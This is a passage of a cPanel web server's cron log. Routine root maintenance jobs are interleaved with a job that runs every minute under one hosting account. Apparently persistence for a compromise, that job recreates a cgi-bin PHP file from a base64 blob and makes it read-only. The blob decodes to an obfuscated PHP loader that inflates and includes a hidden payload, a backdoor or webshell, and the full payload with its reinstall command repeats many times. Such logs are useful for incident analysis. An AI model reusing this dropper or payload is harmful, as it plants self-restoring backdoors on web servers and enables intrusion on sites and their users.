"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:39:01 server CROND[21322]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 20:39:01 server CROND[21323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:40:01 server CROND[21380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:40:01 server CROND[21381]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 20:40:01 server CROND[21382]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 20:40:01 server CROND[21383]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 20:41:01 server CROND[21497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:42:01 server CROND[21573]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 20:42:01 server CROND[21574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:43:01 server CROND[21628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:44:01 server CROND[21785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:45:01 server CROND[21849]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 20:45:01 server CROND[21851]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:45:01 server CROND[21850]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 20:46:01 server CROND[21951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:47:01 server CROND[22007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:48:01 server CROND[22067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:49:01 server CROND[22219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:50:01 server CROND[22283]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 20:50:01 server CROND[22284]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 20:50:01 server CROND[22287]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 20:50:01 server CROND[22286]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 20:50:01 server CROND[22288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:51:01 server CROND[22426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczP